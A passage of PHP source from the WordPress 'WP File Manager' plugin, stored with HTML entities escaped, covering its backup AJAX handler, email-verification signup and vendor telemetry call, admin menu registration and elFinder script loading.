            $date = date(&#039;Y-m-d H:i:s&#039;);
            $file_number = &#039;backup_&#039;.date(&#039;Y_m_d_H_i_s-&#039;).bin2hex(openssl_random_pseudo_bytes(4));
            $database = sanitize_text_field($_POST[&#039;database&#039;]);
            $files = sanitize_text_field($_POST[&#039;files&#039;]);
            $plugins = sanitize_text_field($_POST[&#039;plugins&#039;]);
            $themes = sanitize_text_field($_POST[&#039;themes&#039;]);
            $uploads = sanitize_text_field($_POST[&#039;uploads&#039;]);
            $others = sanitize_text_field($_POST[&#039;others&#039;]);
            $bkpid = isset($_POST[&#039;bkpid&#039;]) ? sanitize_text_field($_POST[&#039;bkpid&#039;]) : &#039;&#039;;
            if($database == &#039;false&#039; &amp;&amp; $files == &#039;false&#039; &amp;&amp; $bkpid == &#039;&#039;) {
                echo wp_json_encode(array(&#039;step&#039; =&gt; &#039;0&#039;, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; &#039;false&#039;, &#039;bkpid&#039; =&gt; &#039;0&#039;, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Nothing selected for backup&#039;,&#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                die; 
            }
            if($bkpid == &#039;&#039;) {
                $wpdb-&gt;insert( 
                    $fmdb, 
                    array( 
                        &#039;backup_name&#039; =&gt; $file_number, 
                        &#039;backup_date&#039; =&gt; $date
                    ), 
                    array( 
                        &#039;%s&#039;, 
                        &#039;%s&#039; 
                    ) 
                );
                $id = $wpdb-&gt;insert_id;
            } else {
                $id = $bkpid;
            }
            if ( ! wp_verify_nonce( $nonce, &#039;wpfmbackup&#039; ) ) {
                echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Security Issue.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
            } else {
                $fileName = $wpdb-&gt;get_row(
                  $wpdb-&gt;prepare(&quot;select * from &quot;.$fmdb.&quot; where id=%d&quot;,$id)
                );              
                //database
                if($database == &#039;true&#039;) {
                    include(&#039;classes/db-backup.php&#039;); 
                    $backupDatabase = new Backup_Database($fileName-&gt;backup_name);
                    $result = $backupDatabase-&gt;backupTables(TABLES);
                    if($result == &#039;1&#039;){
                        echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; $files,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $id,&#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Database backup done.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));  
                        die;
                    } else {
                        echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; $files,&#039;plugins&#039; =&gt; $plugins,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Unable to create database backup.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));   
                        die;
                    }                   
                }
                else if($files == &#039;true&#039;) {
                    include(&#039;classes/files-backup.php&#039;);
                    $upload_dir = wp_upload_dir();
                    $backup_dirname = $upload_dir[&#039;basedir&#039;].&#039;/wp-file-manager-pro/fm_backup&#039;;
                    $filesBackup = new wp_file_manager_files_backup();
                     // plugins
                     if($plugins == &#039;true&#039;) {
                        $plugin_dir = WP_PLUGIN_DIR;  
                        $backup_plugins = $filesBackup-&gt;zipData( $plugin_dir,$backup_dirname.&#039;/&#039;.$fileName-&gt;backup_name.&#039;-plugins.zip&#039;);
                        if($backup_plugins) {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others,&#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Plugins backup done.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                            die;
                        } else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Plugins backup failed.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                            die;
                        }
                     } 
                     // themes
                     else if($themes == &#039;true&#039;) {
                        $themes_dir = get_theme_root();
                        $backup_themes = $filesBackup-&gt;zipData( $themes_dir,$backup_dirname.&#039;/&#039;.$fileName-&gt;backup_name.&#039;-themes.zip&#039;);
                        if($backup_themes) {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Themes backup done.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                            die;
                        } else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; $themes, &#039;uploads&#039;=&gt; $uploads, &#039;others&#039; =&gt; $others, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Themes backup failed.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;)); 
                            die;
                        }
                     }
                     // uploads
                     else if($uploads == &#039;true&#039;) {
                        $wpfm_upload_dir = wp_upload_dir();
                        $uploads_dir = $wpfm_upload_dir[&#039;basedir&#039;];
                        $backup_uploads = $filesBackup-&gt;zipData( $uploads_dir,$backup_dirname.&#039;/&#039;.$fileName-&gt;backup_name.&#039;-uploads.zip&#039;);
                        if($backup_uploads) {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; $others, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Uploads backup done.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                            die;
                        } else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; $others, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Uploads backup failed.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                            die;
                        }
                     } 
                     // other
                     else if($others == &#039;true&#039;) {
                        $others_dir = WP_CONTENT_DIR;
                        $backup_others = $filesBackup-&gt;zipOther( $others_dir,$backup_dirname.&#039;/&#039;.$fileName-&gt;backup_name.&#039;-others.zip&#039;);
                        if($backup_others) {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; &#039;false&#039;, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;Others backup done.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                            die; 
                        } else {
                            echo wp_json_encode(array(&#039;step&#039; =&gt; 1, &#039;database&#039; =&gt; &#039;false&#039;,&#039;files&#039; =&gt; &#039;true&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;, &#039;uploads&#039;=&gt; &#039;false&#039;, &#039;others&#039; =&gt; &#039;false&#039;, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-unchecked&quot;&gt;&#039;.__(&#039;Others backup failed.&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                            
                        }                        
                     } else {
                        echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;database&#039; =&gt; &#039;false&#039;, &#039;files&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;,&#039;uploads&#039;=&gt; &#039;false&#039;,&#039;others&#039; =&gt; &#039;false&#039;, &#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;All Done&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                        die;
                     }
                } else {
                 echo wp_json_encode(array(&#039;step&#039; =&gt; 0, &#039;database&#039; =&gt; &#039;false&#039;, &#039;files&#039; =&gt; &#039;false&#039;,&#039;plugins&#039; =&gt; &#039;false&#039;,&#039;themes&#039; =&gt; &#039;false&#039;,&#039;uploads&#039;=&gt; &#039;false&#039;,&#039;others&#039; =&gt; &#039;false&#039;,&#039;bkpid&#039; =&gt; $id, &#039;msg&#039; =&gt; &#039;&lt;li class=&quot;fm-running-list fm-custom-checked&quot;&gt;&#039;.__(&#039;All Done&#039;, &#039;wp-file-manager&#039;).&#039;&lt;/li&gt;&#039;));
                }
            }
            } else {
                die(__(&#039;Invalid security token!&#039;, &#039;wp-file-manager&#039;));
            }
            die;
        }

        /* Verify Email*/
        public function mk_filemanager_verify_email_callback()
        {
            $current_user = wp_get_current_user();
            $nonce = sanitize_text_field($_REQUEST[&#039;vle_nonce&#039;]);
            if (wp_verify_nonce($nonce, &#039;verify-filemanager-email&#039;)) {
                $action = sanitize_text_field($_POST[&#039;todo&#039;]);
                $lokhal_email = sanitize_email($_POST[&#039;lokhal_email&#039;]);
                $lokhal_fname = sanitize_text_field(htmlentities($_POST[&#039;lokhal_fname&#039;]));
                $lokhal_lname = sanitize_text_field(htmlentities($_POST[&#039;lokhal_lname&#039;]));
                // case - 1 - close
                if ($action == &#039;cancel&#039;) {
                    set_transient(&#039;filemanager_cancel_lk_popup_&#039;.$current_user-&gt;ID, &#039;filemanager_cancel_lk_popup_&#039;.$current_user-&gt;ID, 60 * 60 * 24 * 30);
                    update_option(&#039;filemanager_email_verified_&#039;.$current_user-&gt;ID, &#039;yes&#039;);
                } elseif ($action == &#039;verify&#039;) {
                    $engagement = &#039;75&#039;;
                    update_option(&#039;filemanager_email_address_&#039;.$current_user-&gt;ID, $lokhal_email);
                    update_option(&#039;verify_filemanager_fname_&#039;.$current_user-&gt;ID, $lokhal_fname);
                    update_option(&#039;verify_filemanager_lname_&#039;.$current_user-&gt;ID, $lokhal_lname);
                    update_option(&#039;filemanager_email_verified_&#039;.$current_user-&gt;ID, &#039;yes&#039;);
                    /* Send Email Code */
                    $subject = &#039;Email Verification&#039;;
                    $message = &quot;
					&lt;html&gt;
					&lt;head&gt;
					&lt;title&gt;Email Verification&lt;/title&gt;
					&lt;/head&gt;
					&lt;body&gt;
					&lt;p&gt;Thanks for signing up! Just click the link below to verify your email and we’ll keep you up-to-date with the latest and greatest brewing in our dev labs!&lt;/p&gt;	
					&lt;p&gt;&lt;a href=&#039;&quot;.admin_url(&#039;admin-ajax.php?action=verify_filemanager_email&amp;token=&#039;.md5($lokhal_email)).&quot;&#039;&gt;Click Here to Verify
&lt;/a&gt;&lt;/p&gt;				
					&lt;/body&gt;
					&lt;/html&gt;
					&quot;;
                    // Always set content-type when sending HTML email
                    $headers = &#039;MIME-Version: 1.0&#039;.&quot;\r\n&quot;;
                    $headers .= &#039;Content-type:text/html;charset=UTF-8&#039;.&quot;\r\n&quot;;
                    $headers .= &#039;From: noreply@filemanagerpro.io&#039;.&quot;\r\n&quot;;
                    $mail = mail($lokhal_email, $subject, $message, $headers);
                    $data = $this-&gt;verify_on_server($lokhal_email, $lokhal_fname, $lokhal_lname, $engagement, &#039;verify&#039;, &#039;0&#039;);
                    if ($mail) {
                        echo &#039;1&#039;;
                    } else {
                        echo &#039;2&#039;;
                    }
                }
            } else {
                echo &#039;Nonce&#039;;
            }
            die;
        }

        /*
        * Verify Email
        */
        public function verify_filemanager_email_callback()
        {
            $email = sanitize_text_field($_GET[&#039;token&#039;]);
            $current_user = wp_get_current_user();
            $lokhal_email_address = md5(get_option(&#039;filemanager_email_address_&#039;.$current_user-&gt;ID));
            if ($email == $lokhal_email_address) {
                $this-&gt;verify_on_server(get_option(&#039;filemanager_email_address_&#039;.$current_user-&gt;ID), get_option(&#039;verify_filemanager_fname_&#039;.$current_user-&gt;ID), get_option(&#039;verify_filemanager_lname_&#039;.$current_user-&gt;ID), &#039;100&#039;, &#039;verified&#039;, &#039;1&#039;);
                update_option(&#039;filemanager_email_verified_&#039;.$current_user-&gt;ID, &#039;yes&#039;);
                echo &#039;&lt;p&gt;Email Verified Successfully. Redirecting please wait.&lt;/p&gt;&#039;;
                echo &#039;&lt;script&gt;&#039;;
                echo &#039;setTimeout(function(){window.location.href=&quot;https://filemanagerpro.io?utm_redirect=wp&quot; }, 2000);&#039;;
                echo &#039;&lt;/script&gt;&#039;;
            }
            die;
        }

        /*
        Send Data To Server
        */
        public function verify_on_server($email, $fname, $lname, $engagement, $todo, $verified)
        {
            global $wpdb, $wp_version;
            if (get_bloginfo(&#039;version&#039;) &lt; &#039;3.4&#039;) {
                $theme_data = get_theme_data(get_stylesheet_directory().&#039;/style.css&#039;);
                $theme = $theme_data[&#039;Name&#039;].&#039; &#039;.$theme_data[&#039;Version&#039;];
            } else {
                $theme_data = wp_get_theme();
                $theme = $theme_data-&gt;Name.&#039; &#039;.$theme_data-&gt;Version;
            }

            // Try to identify the hosting provider
            $host = false;
            if (defined(&#039;WPE_APIKEY&#039;)) {
                $host = &#039;WP Engine&#039;;
            } elseif (defined(&#039;PAGELYBIN&#039;)) {
                $host = &#039;Pagely&#039;;
            }
            $mysql_ver = @mysqli_get_server_info($wpdb-&gt;dbh);
            $id = get_option(&#039;page_on_front&#039;);
            $info = array(
                         &#039;email&#039; =&gt; $email,
                         &#039;first_name&#039; =&gt; $fname,
                         &#039;last_name&#039; =&gt; $lname,
                         &#039;engagement&#039; =&gt; $engagement,
                         &#039;SITE_URL&#039; =&gt; site_url(),
                         &#039;PHP_version&#039; =&gt; phpversion(),
                         &#039;upload_max_filesize&#039; =&gt; ini_get(&#039;upload_max_filesize&#039;),
                         &#039;post_max_size&#039; =&gt; ini_get(&#039;post_max_size&#039;),
                         &#039;memory_limit&#039; =&gt; ini_get(&#039;memory_limit&#039;),
                         &#039;max_execution_time&#039; =&gt; ini_get(&#039;max_execution_time&#039;),
                         &#039;HTTP_USER_AGENT&#039; =&gt; $_SERVER[&#039;HTTP_USER_AGENT&#039;],
                         &#039;wp_version&#039; =&gt; $wp_version,
                         &#039;plugin&#039; =&gt; &#039;wp file manager&#039;,
                         &#039;nonce&#039; =&gt; &#039;um235gt9duqwghndewi87s34dhg&#039;,
                         &#039;todo&#039; =&gt; $todo,
                         &#039;verified&#039; =&gt; $verified,
                );
            $str = http_build_query($info);
            $args = array(
                &#039;body&#039; =&gt; $str,
                &#039;timeout&#039; =&gt; &#039;5&#039;,
                &#039;redirection&#039; =&gt; &#039;5&#039;,
                &#039;httpversion&#039; =&gt; &#039;1.0&#039;,
                &#039;blocking&#039; =&gt; true,
                &#039;headers&#039; =&gt; array(),
                &#039;cookies&#039; =&gt; array(),
            );

            $response = wp_remote_post($this-&gt;SERVER, $args);

            return $response;
        }

        /**
		* Generate plugin key
		**/
		
		private static function fm_generate_key(){
			return substr(str_shuffle(str_repeat($x=&#039;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#039;, ceil(25/strlen($x)) )),1,25);
        }
        
        /**
		* Generate plugin key
		**/
		
		private static function fm_get_key(){
			return get_option(&#039;fm_key&#039;);
		}

        /* File Manager text Domain */
        public function filemanager_load_text_domain()
        {
            $domain = dirname(plugin_basename(__FILE__));
            $locale = apply_filters(&#039;plugin_locale&#039;, get_locale(), $domain);
            load_textdomain($domain, trailingslashit(WP_LANG_DIR).&#039;plugins&#039;.&#039;/&#039;.$domain.&#039;-&#039;.$locale.&#039;.mo&#039;);
            load_plugin_textdomain($domain, false, basename(dirname(__FILE__)).&#039;/languages/&#039;);

            ////// Creating key
            $fmkey = self::fm_generate_key();
            if(self::fm_get_key() == &quot;&quot;){
                update_option(&#039;fm_key&#039;,$fmkey);
            }
        }

        /* Menu Page */
        public function ffm_menu_page()
        {
            add_menu_page(
            __(&#039;WP File Manager&#039;, &#039;wp-file-manager&#039;),
            __(&#039;WP File Manager&#039;, &#039;wp-file-manager&#039;),
            &#039;manage_options&#039;,
            &#039;wp_file_manager&#039;,
            array(&amp;$this, &#039;ffm_settings_callback&#039;),
            plugins_url(&#039;images/wp_file_manager.svg&#039;, __FILE__)
            );
            /* Only for admin */
            add_submenu_page(&#039;wp_file_manager&#039;, __(&#039;Settings&#039;, &#039;wp-file-manager&#039;), __(&#039;Settings&#039;, &#039;wp-file-manager&#039;), &#039;manage_options&#039;, &#039;wp_file_manager_settings&#039;, array(&amp;$this, &#039;wp_file_manager_settings&#039;));
            /* Only for admin */
            add_submenu_page(&#039;wp_file_manager&#039;, __(&#039;Preferences&#039;, &#039;wp-file-manager&#039;), __(&#039;Preferences&#039;, &#039;wp-file-manager&#039;), &#039;manage_options&#039;, &#039;wp_file_manager_preferences&#039;, array(&amp;$this, &#039;wp_file_manager_root&#039;));
            /* Only for admin */
            add_submenu_page(&#039;wp_file_manager&#039;, __(&#039;System Properties&#039;, &#039;wp-file-manager&#039;), __(&#039;System Properties&#039;, &#039;wp-file-manager&#039;), &#039;manage_options&#039;, &#039;wp_file_manager_sys_properties&#039;, array(&amp;$this, &#039;wp_file_manager_properties&#039;));
            /* Only for admin */
            add_submenu_page(&#039;wp_file_manager&#039;, __(&#039;Shortcode - PRO&#039;, &#039;wp-file-manager&#039;), __(&#039;Shortcode - PRO&#039;, &#039;wp-file-manager&#039;), &#039;manage_options&#039;, &#039;wp_file_manager_shortcode_doc&#039;, array(&amp;$this, &#039;wp_file_manager_shortcode_doc&#039;));
            add_submenu_page(&#039;wp_file_manager&#039;, __(&#039;Logs&#039;, &#039;wp-file-manager&#039;), __(&#039;Logs&#039;, &#039;wp-file-manager&#039;), &#039;manage_options&#039;, &#039;wpfm-logs&#039;, array(&amp;$this, &#039;wp_file_manager_logs&#039;));
            add_submenu_page(&#039;wp_file_manager&#039;, __(&#039;Backup/Restore&#039;, &#039;wp-file-manager&#039;), __(&#039;Backup/Restore&#039;, &#039;wp-file-manager&#039;), &#039;manage_options&#039;, &#039;wpfm-backup&#039;, array(&amp;$this, &#039;wp_file_manager_backup&#039;));             
        }       
        /* Main Role */
        public function ffm_settings_callback()
        {
            if (is_admin()):
             include &#039;lib/wpfilemanager.php&#039;;
            endif;
        }

        /*Settings */
        public function wp_file_manager_settings()
        {
            if (is_admin()):
             include &#039;inc/settings.php&#039;;
            endif;
        }

        /* Shortcode Doc */
        public function wp_file_manager_shortcode_doc()
        {
            if (is_admin()):
             include &#039;inc/shortcode_docs.php&#039;;
            endif;
        }
        /*  Backup */
        public function wp_file_manager_backup() {
            if (is_admin()):
                include &#039;inc/backup.php&#039;;
            endif;
        }

        /* System Properties */
        public function wp_file_manager_properties()
        {
            if (is_admin()):
             include &#039;inc/system_properties.php&#039;;
            endif;
        }	
        /*
         Root
        */
        public function wp_file_manager_root()
        {
            if (is_admin()):
             include &#039;inc/root.php&#039;;
            endif;
        }		
		/* System Properties */
        public function wp_file_manager_logs()
        {
            if (is_admin()):
             include &#039;inc/logs.php&#039;;
            endif;
        }

        public function ffm_admin_script(){
            wp_enqueue_style( &#039;fm_menu_common&#039;, plugins_url(&#039;/css/fm_common.css&#039;, __FILE__) );
        }

         /* Admin  Things */
         public function ffm_admin_things()
         {
           
            $getPage = isset($_GET[&#039;page&#039;]) ? sanitize_text_field($_GET[&#039;page&#039;]) : &#039;&#039;;
            $allowedPages = array(
                &#039;wp_file_manager&#039;,
            );
           
           // Languages
            $lang = isset($_GET[&#039;lang&#039;]) &amp;&amp; !empty($_GET[&#039;lang&#039;]) &amp;&amp; in_array(sanitize_text_field(htmlentities($_GET[&#039;lang&#039;])), $this-&gt;fm_languages()) ? sanitize_text_field(htmlentities($_GET[&#039;lang&#039;])) : &#039;&#039;;
            if (!empty($getPage) &amp;&amp; in_array($getPage, $allowedPages)):
                if( isset( $_GET[&#039;lang&#039;] ) &amp;&amp; !empty( $_GET[&#039;lang&#039;] ) &amp;&amp; !wp_verify_nonce( isset( $_GET[&#039;nonce&#039;] ) ? $_GET[&#039;nonce&#039;] : &#039;&#039;, &#039;wp-file-manager-language&#039; )) {
                    //Access Denied
                } else {
                global $wp_version;
                $fm_nonce = wp_create_nonce(&#039;wp-file-manager&#039;);
                $wp_fm_lang = get_transient(&#039;wp_fm_lang&#039;);
                $wp_fm_theme = get_transient(&#039;wp_fm_theme&#039;);
                $opt = get_option(&#039;wp_file_manager_settings&#039;);
                 wp_enqueue_style(&#039;jquery-ui&#039;, plugins_url(&#039;css/jquery-ui.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_commands&#039;, plugins_url(&#039;lib/css/commands.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_common&#039;, plugins_url(&#039;lib/css/common.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_contextmenu&#039;, plugins_url(&#039;lib/css/contextmenu.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_cwd&#039;, plugins_url(&#039;lib/css/cwd.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_dialog&#039;, plugins_url(&#039;lib/css/dialog.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_fonts&#039;, plugins_url(&#039;lib/css/fonts.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_navbar&#039;, plugins_url(&#039;lib/css/navbar.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_places&#039;, plugins_url(&#039;lib/css/places.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_quicklook&#039;, plugins_url(&#039;lib/css/quicklook.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_statusbar&#039;, plugins_url(&#039;lib/css/statusbar.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;theme&#039;, plugins_url(&#039;lib/css/theme.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_toast&#039;, plugins_url(&#039;lib/css/toast.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 wp_enqueue_style(&#039;fm_toolbar&#039;, plugins_url(&#039;lib/css/toolbar.css&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
				 
                 wp_enqueue_script(&#039;jquery&#039;);          
                 
                 wp_enqueue_script(&#039;fm_jquery_js&#039;, plugins_url(&#039;js/top.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                
                $jquery_ui_js = &#039;jquery-ui-1.11.4.js&#039;;
                // 5.6 jquery ui issue fix
                if ( version_compare( $wp_version, &#039;5.6&#039;, &#039;&gt;=&#039; ) ) {
                    $jquery_ui_js = &#039;jquery-ui-1.13.2.js&#039;;
                }

                wp_enqueue_script(&#039;fm_jquery_ui&#039;, plugins_url(&#039;lib/jquery/&#039;.$jquery_ui_js, __FILE__), $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_min&#039;, plugins_url(&#039;lib/js/elfinder.min.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder&#039;, plugins_url(&#039;lib/js/elFinder.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_version&#039;, plugins_url(&#039;lib/js/elFinder.version.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_jquery_elfinder&#039;, plugins_url(&#039;lib/js/jquery.elfinder.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_mimetypes&#039;, plugins_url(&#039;lib/js/elFinder.mimetypes.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_options&#039;, plugins_url(&#039;lib/js/elFinder.options.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_options_netmount&#039;, plugins_url(&#039;lib/js/elFinder.options.netmount.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_history&#039;, plugins_url(&#039;lib/js/elFinder.history.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_command&#039;, plugins_url(&#039;lib/js/elFinder.command.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_elFinder_resources&#039;, plugins_url(&#039;lib/js/elFinder.resources.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);

                wp_enqueue_script(&#039;fm_dialogelfinder&#039;, plugins_url(&#039;lib/js/jquery.dialogelfinder.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                 
           
                    if (!empty($lang)) {
                        set_transient(&#039;wp_fm_lang&#039;, $lang, 60 * 60 * 720);
                        wp_enqueue_script(&#039;fm_lang&#039;, plugins_url(&#039;lib/js/i18n/elfinder.&#039;.$lang.&#039;.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                    } elseif (false !== ($wp_fm_lang = get_transient(&#039;wp_fm_lang&#039;))) {
                        wp_enqueue_script(&#039;fm_lang&#039;, plugins_url(&#039;lib/js/i18n/elfinder.&#039;.$wp_fm_lang.&#039;.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                    } else {
                        wp_enqueue_script(&#039;fm_lang&#039;, plugins_url(&#039;lib/js/i18n/elfinder.en.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);  
                    }
                wp_enqueue_script(&#039;fm_ui_button&#039;, plugins_url(&#039;lib/js/ui/button.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_contextmenu&#039;, plugins_url(&#039;lib/js/ui/contextmenu.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_cwd&#039;, plugins_url(&#039;lib/js/ui/cwd.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_dialog&#039;, plugins_url(&#039;lib/js/ui/dialog.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_fullscreenbutton&#039;, plugins_url(&#039;lib/js/ui/fullscreenbutton.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
                wp_enqueue_script(&#039;fm_ui_navbar&#039;, plugins_url(&#039;lib/js/ui/navbar.js&#039;, __FILE__), &#039;&#039;, $this-&gt;ver);
